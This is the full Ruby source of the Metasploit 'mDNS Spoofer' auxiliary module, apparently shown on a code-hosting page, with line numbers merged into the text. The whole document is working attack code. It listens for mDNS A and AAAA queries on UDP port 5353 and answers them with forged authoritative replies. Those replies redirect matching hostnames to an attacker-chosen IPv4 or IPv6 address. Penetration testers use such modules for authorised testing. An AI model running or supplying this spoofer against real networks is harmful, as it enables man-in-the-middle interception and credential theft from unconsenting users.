Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/spoof/mdns/mdns_response.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'socket'6require 'ipaddr'7require 'net/dns'89class MetasploitModule < Msf::Auxiliary1011include Msf::Exploit::Capture1213attr_accessor :sock, :thread141516def initialize17super(18'Name' => 'mDNS Spoofer',19'Description' => %q{20This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).21},22'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],23'License' => MSF_LICENSE,24'References' =>25[26[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]27],2829'Actions' =>30[31[ 'Service', 'Description' => 'Run mDNS spoofing service' ]32],33'PassiveActions' =>34[35'Service'36],37'DefaultAction' => 'Service'38)3940register_options([41OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]),42OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]),43OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']),44OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]),45])4647deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')48self.thread = nil49self.sock = nil50end5152def dispatch_request(packet, rhost, src_port)53rhost = ::IPAddr.new(rhost)5455# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped56# addr like "::ffff:192.168.0.1" when the interface we're listening57# on has an IPv6 address. Convert it to just the v4 addr58if rhost.ipv4_mapped?59rhost = rhost.native60end6162# Parse the incoming MDNS packet. Quit if an exception was thrown.63dns_pkt = nil64begin65dns_pkt = ::Net::DNS::Packet.parse(packet)66rescue67return68end6970spoof4 = ::IPAddr.new(datastore['SPOOFIP4'])71spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue ''7273# Turn this packet into an authoritative response.74dns_pkt.header.qr = 175dns_pkt.header.aa = 17677qm = true78dns_pkt.question.each do |question|79name = question.qName80if datastore['REGEX'] != '.*'81unless name =~ /#{datastore['REGEX']}/i82vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")83next84end85end8687# Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response.88if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type89qm = false90end9192# qType is not a Integer, so to compare it with `case` we have to93# convert it94responding_with = nil95case question.qType.to_i96when ::Net::DNS::A97dns_pkt.answer << ::Net::DNS::RR::A.new(98:name => name,99:ttl => datastore['TTL'],100:cls => 0x8001, # Class IN, with flush cache flag101:type => ::Net::DNS::A,102:address => spoof4.to_s103)104responding_with = spoof4.to_s105when ::Net::DNS::AAAA106if spoof6 != ''107dns_pkt.answer << ::Net::DNS::RR::AAAA.new(108:name => name,109:ttl => datastore['TTL'],110:cls => 0x8001, # Class IN, with flush cache flag111:type => ::Net::DNS::AAAA,112:address => spoof6.to_s113)114responding_with = spoof6.to_s115end116else117# Skip PTR, SRV, etc. records.118next119end120121# If we are responding to this query, and we haven't spammed stdout recently, print a notification.122if not responding_with.nil? and should_print_reply?(name)123print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}")124end125end126127# Clear the questions from the responses. They aren't observed in legit responses.128dns_pkt.question.clear()129130# If we didn't find anything we want to spoof, don't send any131# packets132return if dns_pkt.answer.empty?133134begin135udp = ::PacketFu::UDPHeader.new(136:udp_src => 5353,137:udp_dst => src_port,138:body => dns_pkt.data139)140rescue141return142end143udp.udp_recalc144145# Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response.146dst = rhost147if rhost.ipv4?148if qm149dst = ::IPAddr.new('224.0.0.251')150end151ip_pkt = ::PacketFu::IPPacket.new(152:ip_src => spoof4.hton,153:ip_dst => dst.hton,154:ip_proto => 0x11, # UDP155:body => udp156)157elsif rhost.ipv6?158if qm159dst = ::IPAddr.new('ff02::fb')160end161ip_pkt = ::PacketFu::IPv6Packet.new(162:ipv6_src => spoof6.hton,163:ipv6_dst => dst.hton,164:ip_proto => 0x11, # UDP165:body => udp166)167else168# Should never get here169print_error("IP version is not 4 or 6. Failed to parse?")170return171end172ip_pkt.recalc173174capture_sendto(ip_pkt, rhost.to_s, true)175end176177def monitor_socket178while true179rds = [self.sock]180wds = []181eds = [self.sock]182183r,_,_ = ::IO.select(rds,wds,eds,0.25)184185if (r != nil and r[0] == self.sock)186packet, host, port = self.sock.recvfrom(65535)187dispatch_request(packet, host, port)188end189end190end191192193# Don't spam with success, just throttle to every 10 seconds194# per host195def should_print_reply?(host)196@notified_times ||= {}197now = Time.now.utc198@notified_times[host] ||= now199last_notified = now - @notified_times[host]200if last_notified == 0 or last_notified > 10201@notified_times[host] = now202else203false204end205end206207def run208check_pcaprub_loaded()209::Socket.do_not_reverse_lookup = true # Mac OS X workaround210211# Avoid receiving extraneous traffic on our send socket212open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})213214# Multicast Address for LLMNR215multicast_addr = ::IPAddr.new("224.0.0.251")216217# The bind address here will determine which interface we receive218# multicast packets from. If the address is INADDR_ANY, we get them219# from all interfaces, so try to restrict if we can, but fall back220# if we can't221bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"222223optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton224self.sock = Rex::Socket.create_udp(225# This must be INADDR_ANY to receive multicast packets226'LocalHost' => "0.0.0.0",227'LocalPort' => 5353,228'Context' => { 'Msf' => framework, 'MsfExploit' => self }229)230self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)231self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)232233self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) {234monitor_socket235}236237print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...")238239add_socket(self.sock)240241self.thread.join242end243244def cleanup245if self.thread and self.thread.alive?246self.thread.kill247self.thread = nil248end249self.sock.close250close_pcap251end252end253254255